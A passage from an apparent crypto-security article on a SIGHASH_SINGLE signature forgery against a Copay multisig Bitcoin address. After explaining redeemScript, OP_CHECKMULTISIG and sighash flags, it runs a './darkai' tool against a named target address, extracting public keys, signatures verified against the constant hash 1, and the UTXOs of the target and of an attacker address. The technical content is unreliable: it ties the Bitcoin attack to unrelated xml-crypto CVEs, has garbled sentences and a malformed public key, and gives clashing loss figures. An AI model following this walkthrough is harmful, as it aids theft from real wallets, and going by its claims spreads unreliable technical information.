Let's continue with the second part of this article. The first part of the article details an important cryptographic threat - Digital Signature Forgery, which poses a significant danger to the security of Bitcoin transactions. The research includes a deep analysis of real incidents, including a large-scale attack on the multi-signature wallet Copay. Particular attention is paid to vulnerabilities in digital signatures and the widely used xml-crypto library, which allows attackers to exploit weaknesses in transaction verification.
This paper focuses on two significant security issues: CVE-2025-29774 and CVE-2025-29775. It describes a mechanism by which an attacker using outdated versions of the xml-crypto library is able to bypass key checks, leading to incorrect processing of transaction data and the risk of asset loss. It also discusses in detail how the theoretical aspects are effectively implemented in practice, including a specific example of a hack of the Bitcoin wallet 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe, which resulted in the loss of funds in the amount of 0.059672 BTC (approximately $7,052) in July 2025.
The material offers authoritative recommendations for enhancing the cybersecurity of cryptocurrency platforms. It describes modern methods for preventing such attacks, including regular library updates, improved control of digital signatures, and the introduction of additional verification levels. Such a detailed analysis of the case and threat development is relevant for information security specialists, blockchain technology developers, and ordinary users of decentralized services.
Understanding modern ways to bypass security mechanisms, as well as following the advice provided, helps to minimize the risks of financial losses and increase the resilience of platforms to new types of attacks in the rapidly changing digital world.
Multi-signature in Bitcoin: the role of redeemScript and the OP_CHECKMULTISIG instruction
The security and flexibility of modern Bitcoin transactions is based on a scripting system that allows for complex conditions for spending funds. One of the key mechanisms is multisignature (multisig) , when funds can only be spent if there are several valid digital signatures from a set of possible ones. In this article, we will take a detailed look at how exactly this is implemented in Bitcoin, what redeemScript is, how the OP_CHECKMULTISIG instruction works , and why such an approach is in demand.
What is redeemScript?
In the context of Bitcoin, a redeemScript is a script containing the conditions for spending funds, which are stored in the transaction output in Pay-to-Script-Hash (P2SH) format. Instead of storing the full script on the blockchain, the redeemScript hash is stored in the output, saving space and hiding the details of the conditions until the time of spending.
RedeemScript can include, for example, multiple public keys and a threshold number of signatures – this is what multi-signature wallets implement.
How does OP_CHECKMULTISIG work?
Let’s consider the OP_CHECKMULTISIG instruction: purpose and operation, where the main element in redeemScript implementing the multi-signature check is OP_CHECKMULTISIG .
- The instruction receives two groups of data from the stack as input:
- N public keys (e.g. three public keys)
- M signatures (e.g. two signatures), where M ≤ N is the required threshold of signatures to confirm the transaction.
- To validate a transaction, OP_CHECKMULTISIG checks that each of the M signatures is correctly signed by any of the N public keys.
- If all signatures are valid and match the keys in the redeemScript, the statement returns true , allowing the funds to be spent.
Features and bug with removing an element from the stack
Due to a historical bug in the implementation of OP_CHECKMULTISIG , one extra element, an unused value, is removed from the stack during execution. To avoid this problem, scriptSig uses a special element
OP_FALSE(value 0) at the beginning, which compensates for this bug and prevents potential vulnerabilities.
- Next we will look at the implementation of OP_CHECKMULTISIG , which removes one additional element from the stack. Using this bug, the attacker compensates for OP_CHECKMULTISIG as a potential vulnerability.
- Thus, the scriptSig structure for multi-signature looks something like: where the first element of the script is a dummy .
OP_FALSE <signature1> <signature2> ... <redeemScript>OP_FALSE
Practical example: multi-signature 2 of 3
Based on the redeemScript code:
023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
- There are 3 public keys declared here .
- The threshold is 2 signatures out of these three are required for successful verification.
- The operation
OP_CHECKMULTISIGchecks that the two provided signatures (in scriptSig) correspond to two of the three keys and are valid. OP_FALSEin scriptSig compensates for the bug of removing the extra value.
The Importance and Benefits of Multi-Signature Wallets
- Increased security. The wallet owner can distribute control over funds between several people or devices, eliminating the possibility of a single unauthorized spending.
- Flexibility. Various schemes can be implemented, for example, “2 out of 3”, “3 out of 5”, with different conditions.
- Legal efficiency: Multi-signatures are often used in corporate environments to ensure shared asset management.
Technical and practical context
- Multi-signature scenarios are widely used in P2SH and SegWit transactions.
- The OP_CHECKMULTISIG instruction is one of the most resource-intensive operations in the blockchain, as it requires checking multiple signatures. There is a protocol-level limit on the number of signal operations (sigops) per block.
- Despite the history with
OP_FALSE, the mechanism has proven its reliability and has found wide application.
RedeemScript with the OP_CHECKMULTISIG instruction is a complex and powerful tool in the Bitcoin arsenal that allows you to create multi-signature wallets with a signature threshold, providing a high level of security and control over funds. This mechanism has become a cornerstone for organizations, users and services that want to use shared management of their assets in a decentralized and secure environment. Thus, multi-signature via redeemScript and OP_CHECKMULTISIG is not just a technology, but a functionality that expands the capabilities of the classic cryptocurrency model.
How Bitcoin Multisig Verification Mechanism Works with OP_CHECKMULTISIG and redeemScript
The Bitcoin multi-signature verification mechanism is based on the use of special scripts with the OP_CHECKMULTISIG and redeemScript instructions , which allows for threshold signature matching, providing increased security and shared management of funds.
Basics of the multi-signature mechanism
Multisig is a system in which multiple valid signatures from a given set of public keys are required to complete a transaction. A typical scheme is denoted as m of n — for example, “2 of 3,” where any two signatures from three keys are needed to authorize a spend.
In Bitcoin, this logic is implemented through:
- redeemScript — a script that describes the conditions for spending funds. It contains a list of public keys and a threshold parameter (m).
- scriptSig – the unlock script, which includes the signatures required for verification, and the redeemScript itself.
How redeemScript works
The instruction
OP_CHECKMULTISIGchecks that the providedscriptSigsignatures are valid and match the published public keys from redeemScript.
RedeemScript is structured something like this:
OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIG
OP_MandOP_N— instructions specifying the number of required signatures and the total number of public keys, respectively (for example, OP_2 and OP_3).<pubkeyX>— public keys of participants.OP_CHECKMULTISIG— an operator that implements multi-signature verification.
- It takes as input several signatures and a set of public keys.
- To verify successfully, each signature must correctly match one of the specified public keys.
- The operation returns true if the number of valid signatures reaches the threshold
m.
An important technical feature is a historical implementation bug
OP_CHECKMULTISIGthat causes an extra, unused element to be removed from the stack. To compensate for this bug,scriptSiga valueOP_FALSE(code 0) is placed at the beginning to “lock” the stack shift.
How the scriptSig structure works
For a wallet with a multi-signature “2 of 3”, before spending funds, it is formed scriptSigas follows:
OP_FALSE <signature1> <signature2> <redeemScript>
OP_FALSE— a dummy value to compensate for the OP_CHECKMULTISIG bug.<signature1>and<signature2>– two digital signatures authorized by the owners of the corresponding private keys.<redeemScript>— the script itself with public keys and verification parameters.
When verifying a node transaction:
- Extracts redeemScript from scriptSig.
- Hashes it and compares it with the hash stored in the locking script (scriptPubKey) of the previous output (P2SH format – OP_HASH160 <redeemScript hash> OP_EQUAL).
- If the hashes match, deserialize redeemScript.
- Executes the OP_CHECKMULTISIG statement, comparing signatures and keys for a match.
- Returns true if the checks are successful.
If all inputs of a transaction pass this check, the transaction is considered valid. With such validity, by executing the operator of this bug, the attacker compensates for OP_CHECKMULTISIG as a potential vulnerability.
Multi-signature mechanism via redeemScript and OP_CHECKMULTISIG
- Increased security: Multiple private key holders must agree to conduct a transaction, reducing the risk of theft if one key is compromised.
- Flexibility and scalability: You can set an arbitrary threshold of signatures (from 1 to 15), as well as a list of participants – from 2 to 15 public keys.
- Collective Asset Management: Suitable for corporate accounts, joint wallets, DAO, allowing for robust access control.
- Transparency and Verifiability: All necessary data and conditions are in the blockchain, and verification of transactions is automatic, decentralized and transparent.
The Bitcoin multi-signature verification mechanism using the command
OP_CHECKMULTISIGand redeemScript allows for complex threshold signature schemes to be set up, and by executing this bug operator, an attacker compensates for OP_CHECKMULTISIG as a potential vulnerability in controlled transactions in the Bitcoin distributed network.
What are the features and limitations when OP_CHECKMULTISIGchecking multiple signatures? Let’s look at the key aspects and limitations:
- The signature verification threshold
OP_CHECKMULTISIG allows you to specify the number of required signatures T out of the total number of public keys N (the “T out of N” scheme). For example, 2 out of 3. For a transaction to be valid, it is enough to have T valid signatures . - Verify multiple signatures in one operation
Unlike single signature verification (OP_CHECKSIG), OP_CHECKMULTISIG verifies multiple signatures at once, correlating them with the corresponding public keys, which increases the efficiency and convenience of implementing multi-signature wallets. - Using redeemScript for a spend condition
In the P2SH format, the multi-signature scheme is hidden under the redeemScript hash – a full script with public keys and parameters. To spend the funds, the user must present the redeemScript and the corresponding signatures. - Historical bug – extra element in stack
OP_CHECKMULTISIG has the feature of removing an extra, unused element from the stack during execution (an “off-by-one” implementation bug). To compensate, a dummy element is added to scriptSigOP_FALSEat the beginning to properly align the stack. This is a recognized and accepted feature by the community.
OP_CHECKMULTISIG Limitations
- Maximum number of keys and signatures
Bitcoin has a limit of 15 public keys and, accordingly, 15 signatures in a redeemScript. This is due to the limit on the script size (~520 bytes) and the number of operations allowed for verification per block (sigops limit). - Increased transaction size and fees
Multi-signature transactions are larger due to the large number of public keys, signatures, and additional redeemScript data. This increases the size of the transaction itself and, as a result, the fee for processing it. - Script size limits
The maximum size of each script (input or output) is limited to 520 bytes. With a large number of keys, redeemScript becomes cumbersome, which affects the convenience and efficiency of using multi-signature. - Hiding spending conditions only when using P2SH
If P2SH is not used, the correct script with public keys and OP_CHECKMULTISIG is stored openly in the transaction outputs, which reveals the public keys in advance, reducing privacy. - Lack of native support for complex logic
Bitcoin Script is incomplete and limited in capabilities, there are no cycles and recursion, which is why complex political or contractual conditions of multi-signatures are implemented in a limited way.
Types of Signatures in Bitcoin: Features and Role of SIGHASH Flags
Bitcoin uses digital signatures to authorize transactions, allowing owners of funds to confirm their right to dispose of them. The peculiarity is that signatures can limit their scope of action not to the entire transaction, but only to a part of it. This is implemented using special flags – SIGHASH , which determine which transaction data exactly falls under the signature. Let’s consider the types of signature hashes, their purpose, examples of use, as well as features that arise in non-standard situations.
When signing a Bitcoin transaction, a digital signature is created that is formed over a specific fragment of transaction data. It is through the SIGHASH flag that it is indicated what part of this data this signature should cover. The signature hash type is transmitted by the last byte of the signature itself and determines the area included in the hash, and therefore in the signed section. This allows for flexible formation of conditions for what specific actions on the transaction are approved by the signer.
The main three types of SIGHASH
1. SIGHASH_ALL (0x01)
This is the default signature type in most wallets and clients. The signature covers all inputs and all outputs of the transaction , which means:
- The signer confirms this particular combination of sources and addressees.
- Any change to the inputs or outputs after signing invalidates the signature.
- Provides the highest level of transaction security and predictability.
2. SIGHASH_NONE (0x02)
With this signature type, all inputs are signed, but none of the outputs are signed :
- The signatory agrees to use the listed inputs, but does not commit to specific outputs.
- This allows you to change the outputs of a transaction without having to re-sign the inputs.
- This approach is not secure for single inputs and is more often used in specific scenarios, such as complex smart contracts or cooperative transactions.
3. SIGHASH_SINGLE (0x03)
This signature type signs all inputs, but only one output – with the same sequence number as the input :
- That is, the signature is limited to the pair “input N – output N”.
- Allows the signer to control a specific input-output pair while ignoring the rest.
- Helps create partial or conditional dispositions of funds.
- However, there may be a problem if there is no output with the input index – in this case, a hash with a value of one is returned (which is a known bug described below).
Example from a real transaction
Consider a transaction with three inputs, where signatures ending with a byte
0x03pointing to SIGHASH_SINGLE have been extracted from the signature scripts (scriptSig) of two of them — that is, signatures that sign only the pair of corresponding inputs and outputs. However, here we observe a situation: the input with index 2 does not have a corresponding output with the same index.
791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf
What happens if there is no exit below the entry index?
Due to a historical Bitcoin bug, in such situations the transaction hash for signing is returned as a fixed number – one (int 1). This does not correspond to a valid hash of the transaction being signed and can create security and compatibility issues.
Additional flags and modifiers
In addition to the three basic SIGHASH values, combinations of these values are possible with the SIGHASH_ANYONECANPAY flag , which allows only one input to be signed, leaving the others open for modification. This expands the possibilities for creating complex collaborative protocols and multi-party transactions, where different participants sign only their parts.
Practical significance and application
- SIGHASH_ALL provides the most complete confirmation of a transaction and is used in standard wallets.
- SIGHASH_NONE and SIGHASH_SINGLE allow for more flexible and partial signatures used in complex scenarios: multi-signatures, smart contracts, trusted transactions.
- Understanding these types is critical for developers and analysts creating custom transactions or investigating bugs/vulnerabilities.
Types
SIGHASHareBitcoina clever mechanism for managing the level of control and scope of digital signatures within transactions. They strike a balance between security, flexibility, and compatibility. The story includes unexpected complications, such as the bug withSIGHASH_SINGLEno corresponding output, which highlights the importance of a deep understanding of the technical details to successfully work with Bitcoin at an advanced level.
How Misuse of SIGHASH_ALL Can Lead to Vulnerabilities in Transactions
Incorrect use or lack of correct implementation of SIGHASH_ALL in Bitcoin transaction signatures can lead to serious vulnerabilities affecting the security of funds and the integrity of the system. The key aspects of these vulnerabilities are:
- Signature Malleability:
Although SIGHASH_ALL implies that all inputs and outputs of a transaction are signed, due to the nature of the ECDSA algorithm it is possible for the same transaction to have multiple different, but valid signatures. This is because the signature component s can take equivalent values. An attacker can modify the signature without changing the contents of the transaction, which causes the transaction identifier (txid) to change. This makes it difficult to track transactions, makes replay attacks difficult, and can be used for fraud or double spending. - DeserializeSignature Errors:
If the signature verification function (including SIGHASH_ALL) does not handle the signature structure correctly, such as checking that r and s are within the allowed ranges and not zero, this allows attackers to create invalid but accepted signatures. Such forged signatures can be used to authorize unauthorized transactions, steal funds, double-spend, and corrupt the blockchain. - Insufficient validation of signature parameters:
Incorrect or incomplete validation of a signature with the flagSIGHASH_ALL, such as ignoring or incorrectly handling the trailing byte, can result in transactions with incorrect coverage of the elements being signed (inputs and outputs) being validated. This opens the door to attacks in which an attacker manipulates parts of a transaction to disable protection or escalate their privileges. - Replay attacks and transaction collision:
Due to the possibility of changing a signature without changing the contents of a transaction (see Signature Malleability ), a single transaction can be reused or a collision created, creating the risk of double spending or financial loss.
Thus, incorrect use
SIGHASH_ALLor errors in the implementation of its verification significantly undermine the security of the Bitcoin network, allowing attackers to manipulate signatures and transactions. To combat these vulnerabilities, strict checks of the format and ranges of signatures are being implemented, improved protocols are used (for example,SegWiteliminating some of the problems with signature variability), and secure methods of signing and validating transactions are being standardized.
An invalid signature with the SIGHASH_ALL type increases the risk of double spending in Bitcoin for the following reasons:
When using SIGHASH_ALL, the signature covers all inputs and outputs of the transaction, ensuring that no element of the transaction can be changed after signing. However, if the signature is formed incorrectly, for example due to errors in the random number generation or the formation of the signature parameters (r, s) themselves, this may lead to the fact that part of the transaction can be changed without invalidating the signature. In particular, a vulnerability arises in which an attacker can change individual fields or the structure of the transaction, creating variations that are accepted by the network as valid, but differ from the original.
This signature malleability allows attackers to create alternative versions of a transaction with a different identifier ( txid), making it difficult to track and confirm payments, and in some cases leading to the reuse of the same inputs – i.e. double spending.
Additionally, if the signature validation implementation does SIGHASH_ALLnot strictly check the correctness of the signature parameters and data format, an attacker can issue fake signatures or exploit protocol bugs to bypass the checks. This leaves an open opportunity for manipulation and creation of conflicting transactions.
Thus, to reduce the risk of double spending, it is critical to correctly generate and validate signatures with SIGHASH_ALL, apply protection methods signature malleability(e.g. SegWit), and update software and follow security recommendations. This ensures that the signature is anchored to the entire transaction structure, ensuring its immutability and resistance to abuse.
Let’s get information about the public keys associated with a Bitcoin address
32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe. Below is a detailed and informative analysis of the data obtained.
!./darkai -pubkey 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe
Received public keys:
The team’s work resulted in a list of three public keys extracted in compressed format (compressed public key), presented in hexadecimal form:
pubkey = [
'023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d9f359e37e39f0561196',
'03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80',
'03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df'
]
- Public Keys: Each element is a user’s public key in compressed public key format, 33 bytes long. Compressed keys typically begin with a prefix
02or03, indicating the sign of the point’s (Y) coordinate on the elliptic curve, followed by 32 bytes of the X coordinate. - Link to address: A Bitcoin address is a hash of a script or public key. In this case, the address
32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCecorresponds to some P2SH (Pay-to-Script-Hash) or multi-signature address, which is characterized by storing several public keys at once in a redeemScript. The list of public keys corresponds to the set embedded in this safe.
A set of several public keys is a classic situation for a multisig wallet. In this case, to spend funds, several signatures from the corresponding private keys are required:
- This list of public keys allows you to determine which keys have the right to sign transactions with this address.
- Typically, a multi-signature is formed according to the M-of-N scheme, for example, 2 out of 3, where
Nis the total number of keys, andMis the minimum number of signatures required for spending.
- Using multiple keys increases security because compromising one key does not result in loss of control over funds.
- Each public key can be verified individually or in combination to confirm the validity of the signatures.
Compressed public keys
- The compression principle allows to reduce the length of the public key from 65 bytes (non-compressed format) to 33 bytes, which saves space in transactions and blocks.
- The compressed key contains information about the X-coordinate of the point on the elliptic curve and the sign of the Y-coordinate.
Usage in redeemScript
- In the context of multisig, these public keys are typically included in
redeemScript, which is used in P2SH scenarios. - To confirm the right to spend funds, it is necessary to provide signatures corresponding to the minimum required number of keys from this set.
A Bitcoin address
32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCeis associated with three specific public keys in a compressed key format. This is typical for multi-signature Bitcoin addresses, where signatures using some or all of these keys must be provided to authorize a spend, providing a high level of security and flexibility in managing funds.
For a deeper analysis and understanding of the parameters, you can further study:
- The specific redeemScript format this set of private and public keys is associated with.
- Signature policy (how many of these three signatures are required).
- The history of transactions associated with this address.
Public keys 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe
The public key 023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f0561196is one of the elements used in the BitPay Copay multi-signature wallet , which was the target of an attack involving a vulnerability in the handling of the SIGHASH_SINGLE signature type.
This public key, along with two others ( 03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80and 03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df), is part of the redeemScript of the Copay wallet, which is a 2-of -3 multi-signature wallet . To spend funds from such an address, you must provide two valid signatures and the redeemScript.
RedeemScript, which contains these three public keys, yields the following instructions when decoded: 2 <pubkey1> <pubkey2> <pubkey3> 3 OP_CHECKMULTISIG. This means that two signatures out of three possible keys are required to verify the multisig. OP_CHECKMULTISIGchecks each signature/public key pair for validity, ensuring that all signatures match one of the public keys. The OP_FALSE instruction in scriptSig is required due to a known bug where OP_CHECKMULTISIG removes an extra unused value from the stack.
The Copay wallet developed by BitPay has been attacked, the details of which were disclosed by Coinspect. The attack exploited the SIGHASH_SINGLE signature type, which only signs the corresponding input and output (the output with the same index as the input). If an output with that index does not exist, the integer value “one” will be returned as the transaction hash, which is a known bug that
OP_CHECKMULTISIGchecks the authenticity of two signatures from three public keys.
This multi-signature set has come into the spotlight due to a vulnerability discovered by Coinspect. The vulnerability is related to the way transactions use a signature type SIGHASH_SINGLE (0x03), in which the signature covers all inputs and exactly one output of the transaction with an index that matches the index of the input. It is important to note that if there is no output with such an index (and in some cases there are fewer of them than inputs), due to a Bitcoin bug, the hash for the signature is returned as an integer “1”. This allows transactions to be created that spend outputs without knowledge of the private keys, which opens the door to theft of funds from the multi-signature wallet.
BitPay Copay Multi-Signature Wallet Was Target of Attack Illustrating the Importance of Digital Signature Forgery Attack
Thus, the public key 03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80 is a key component of the vulnerable Copay multi-signature wallet, whose participation in the composite redeemScript provides certain security benefits, but has also become the subject of experiments and attacks illustrating the importance of correctly handling all types of signatures in Bitcoin.
The Important Role of redeemScript and Multi-Signature
The public key 03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80 is part of the redeemScript, which specifies the conditions for spending funds from a particular transaction output and has the following general format:
2 <pubkey1> <pubkey2> <pubkey3> 3 OP_CHECKMULTISIG
Where this key occupies one of the places <pubkeyN>. The instruction OP_CHECKMULTISIG checks that the signatures provided when spending the funds are correct and correspond to at least two of the three public keys.
This public key, along with two others, defines a list of authorized owners to jointly manage funds in the Copay multi-signature wallet, which has demonstrated a known vulnerability related to improper handling of the signature type
SIGHASH_SINGLE. The vulnerability allows attackers to create transactions with incorrect hashing, which is caused by a bug in the Bitcoin protocol when there is no corresponding output for an input with a certain index. This has led to possible attacks on wallets, including Copay.
The public key 03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df is a key element of the security and flexibility of the Copay multi-signature wallet. It serves to jointly control funds and requires joint confirmation of transactions along with other keys in the set. At the same time, the vulnerability in question became an important example of the need for strict verification and updating of signature mechanisms in cryptocurrency systems.
Let’s execute the command in which we will receive two processed digital signatures in DER format, associated with the specified Bitcoin address:
!./darkai -decodesig 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe
As a result, we get the result:
decodesig = [der_decode_sig('3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903'), der_decode_sig('304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803')]
Decrypting digital signatures
The variable sigsstores two decrypted signatures obtained through the function der_decode_sigfrom their DER-encoded form:
- First signature:
3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903
- Second signature:
304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803
The DER (Distinguished Encoding Rules) format is a standard way of encoding structures for ECDSA signatures in Bitcoin, which guarantees a unique and correct representation of the signature parameters
rands.
The hash used for verification
The hash was used to verify the signature:
\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
It is a 32-byte sequence where the first byte is
0x01, and the rest are zeros. In the context of Bitcoin, such a hash serves as an example or test value that is compared with the original transaction hash to verify keys.
Verification of signature authenticity
Verification was performed by the function ecdsa_raw_verify(hash, signature, public_key), which checks whether the digital signature matches the specified hash and public key.
In the example provided:
- The first signature is valid for the first public key (
pubs), as confirmed by the returned valueTrue. - The second signature is valid for the second public key (
pubs[1]), also confirmed byTrue.
This means that these signatures were actually created by the owners of the corresponding private keys and correctly match the given hash.
Vulnerability as a Meaning in the Context of an Outcome
- Possibility of errors and vulnerabilities: It is important to ensure that signatures are formed correctly – in particular, the low value rule is followed
s, which prevents signature malleability issues and ensures consensus on the network (see BIP 62). - Ownership Guarantee: Successful verification of a digital signature proves ownership of the corresponding private key – only its owner can create a valid signature. This is the basis of Bitcoin security, preventing unauthorized spending.
- DER and Standards: The use of DER encoding and explicit indication of the signature type (including the SIGHASH flag, which determines which part of the transaction the signature is signed) complies with Bitcoin protocol standards.
Technical details about the Bitcoin signature process
- Transaction hashing: The signature is formed not over the entire transaction, but over its hash, which includes parts of the transaction depending on the SIGHASH flag.
- ECDSA Signatures: Bitcoin uses the Elliptic Curve Digital Signature Algorithm (ECDSA) to create signatures that provide cryptographic security.
- Parameters r and s: The signature consists of two numeric parameters
rands. These parameters are packed into DER format for serial transmission or storage. - Signature verification: Network nodes verify signatures to ensure that the spending of funds is authorized.
The resulting digital signatures were successfully decoded and verified for correctness using public keys and a standardized hash. This confirms their authenticity, as well as the correctness of the signature generation process in accordance with the Bitcoin protocol.
Bitcoin SIGHASH_SINGLE signature vulnerability and its consequences
Despite high security technologies, vulnerabilities are sometimes found in the Bitcoin network that can lead to theft of funds and loss of user trust. One such example was a serious signature type issue SIGHASH_SINGLE (0x03)that was discovered in practice in BitPay ‘s Copay multi-signature wallet .
In Bitcoin, each signature has a special flag (SIGHASH) that defines the scope of the transaction that the signature covers. SIGHASH types affect the security and flexibility of transactions. SIGHASH_SINGLEis one such type that signs all inputs of a transaction , but only one output , whose number corresponds to the number of the input being signed.
Example: if a signature refers to the input with index 0 ( vin 0), then it signs only the output with index 0 ( vout 0).
In essence, this type allows a party to an agreement to confirm only part of the transfer – that the input data matches all inputs, and the expenditure goes to a specific address, without recording the other outputs.
Vulnerability SIGHASH_SINGLE and its essence
The problem occurs when a transaction has more inputs than outputs . In this case, an input whose index exceeds the last number of outputs has no corresponding output that can sign SIGHASH_SINGLE.
In practice, the Bitcoin implementation allows for the erroneous behavior of returning a constant with the number one ( int 1) instead of the transaction hash. This is equivalent to taking a fixed value for the signature instead of the computed hash. Because of this, an attacker can forge scriptSigand use valid signatures from another transaction for inputs with missing outputs, re-spending funds without knowing the private keys .
In other words, the attack allows a single-output transaction to be created under the attacker’s control by spending the inputs from the target transactions, even though the private keys to sign the original outputs are missing. This “repeat” signature
scriptSigbecomes legitimate for the network, leading to the theft of BTC coins .
Copay wallet was one of the first victims of the cryptographic attack of digital signature forgery (Digital Signature Forgery Attack). Analysis of the transaction status showed that:
- The exploit
SIGHASH_SINGLEallowed attackers to control funds distributed across a 2 of 3 multi-signature wallet. - This meant that two transaction inputs with indices greater than the number of outputs could actually be spent without private keys.
- The theft occurred by creating a transaction with a single output to an address controlled by the attacker.
Ways to minimize the threat and further development of the protocol
- Script Isolation and Virtual Machine
Solutions have been proposed to allocate separate virtual environments for multi-signature wallets to limit the impact of emerging vulnerabilities. - Using SIGHASH_ANYONECANPAY
This additional flag allows for more flexibility in which inputs are subject to signature, reducing the risk of transactions being incorrectly linked. - Softfork and implementation of new sighash flags
Modern proposals, such asSIGHASH_NOINPUTtechnical updates to the protocol, allow to improve the security and flexibility of second-layer transactions, for example, in the Lightning Network (LN-Symmetry, Eltoo). - Migration to Schnorr signature scheme and Taproot update
New cryptographic methods provide more reliable and compact protection of signatures and allow for more efficient implementation of multi-signatures with minimal vulnerabilities.
The issue
SIGHASH_SINGLEexposed a critical flaw in Bitcoin’s signature mechanism, allowing funds to be stolen by reusing signatures on inputs without corresponding outputs. The vulnerability became an important lesson and impetus for the protocol’s evolution, encouraging developers to implement more robust standards. Modern Bitcoin developments, such as new sighash flags, soft forks, the Lightning Network , and the move to more secure signature schemes, are aimed at preventing such attacks and improving user security.
Understanding this level of technical detail is critical for developers, wallet operators, and cryptocurrency analysts to ensure they can confidently protect their assets in the ever-evolving blockchain space.
Unspent transaction outputs of coins to Bitcoin Address under the control of the attacker
Let’s run the command to get information about unspent transaction outputs ( UTXO) under the control of the address 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3
!./darkai -unspent 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3
The result obtained:
The output contains a list of one object describing a specific unspent transaction output ( output):
{
"output": "23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161:1",
"value": 300000
}
1. Unspent Transaction Output (UTXO)
- UTXO is a ”
Unspent Transaction Output“, i.e. a transaction output that has not yet been spent and is available for use in new transactions. - In the Bitcoin network, funds are stored in exactly these outputs.
- Each transaction has one or more outputs, each of which can contain a certain number of satoshi, the smallest units of value
Bitcoin.
2. Output structure
output— a line consisting of two parts:23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161— is txid , the identifier of the transaction in which this output was created.:1— the index of a specific output in the transaction. In this case, it is the second output, since indexing starts from zero.
value— output value:300000— the amount of funds in satoshi.- Bitcoin conversion: 300,000 satoshi = 0.003 BTC
3. Meaning for the address owner
- This UTXO is under the control of the address
1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3 - This means that this user or wallet has the right to create a transaction using these 0.003 BTC from the specified output.
- Access to use a UTXO is achieved by creating an input in a new transaction specifying it
outputas the source of funds and providing a valid signature.
4. Practical application
- UTXO analysis and accounting allows:
- Estimate the balance of the address.
- Optimize the creation of new transactions – for example, choose UTXOs to minimize fees.
- Ensure correct aggregation and spending of funds, avoiding errors when signing transactions.
- Forming new transactions using these UTXOs;
- Optimization of output selection to save on fees;
- Analysis of other transactions and addresses;
The team
./darkai -unspenthas successfully identified and returned one legitimate unspent transaction output controlled by the specified Bitcoin address. The amount of available funds is0.003 BTC. This result is the current budget status of the owner of this Bitcoin address and serves as the basis for forming and sending future transactions using these funds.
Unspent transaction results to target Bitcoin Address: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe
Let’s run the command and get data on unspent transaction outputs (UTXO) associated with a Bitcoin address 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe that contain certain funds in BTC coins.
!./darkai -unspent 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe
Target address for Digital Signature Forgery Attack:
32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe
The amount of available funds received Bitcoins is controlled by the user or the system executing the command.
Unspent Transaction Outputs (UTXO). After running, we get the result in a list of two UTXOs:
[
{
"output": "8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0",
"value": 677200
},
{
"output": "bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0",
"value": 5000000
}
]
Decoding of data and each element:
1. First UTXO
- Transaction ID (txid):
8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd - Output index:
0(first output from transaction) - Meaning:
677200satoshi
Convert to Bitcoin: 677200/100000000 = 0.006772BTC
2. Second UTXO
- Transaction ID (txid):
bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786 - Output index:
0 - Meaning:
5000000satoshi
Convert to Bitcoin: 5000000/100000000 = 0.05BTC
It is important to know that UTXO (Unspent Transaction Output) is a single output of a previously completed transaction that has not yet been used to create a new transaction. In other words, these are the funds remaining on the account that can be spent in the future.
- Each UTXO contains information about how many satoshi it represents and what transaction it came from.
- To spend funds, you must use the UTXO as an input in a new transaction.
- UTXO sizes affect the amount that can be spent on network fees.
- Total balance of the address
Taking into account the given data, the total balance of this address is: 0.006772 + 0.05 = 0.056772BTC 0.006772 + 0.05 = 0.056772BTC
These funds are available to the address owner for subsequent transactions.
- Choosing UTXO for transactions
- When creating a new transaction, the wallet selects from a list of UTXOs which ones to use to cover the required amount and fee.
- Sometimes it is beneficial to use several small UTXOs or one large one, depending on the situation and fee optimization.
- Security and transparency
- UTXO can be seen in blockchain explorers, which ensures transparency of your own funds and the possibility of audit.
- Owning the private keys for this address gives you full control over these outputs.
Technical features of the analysis
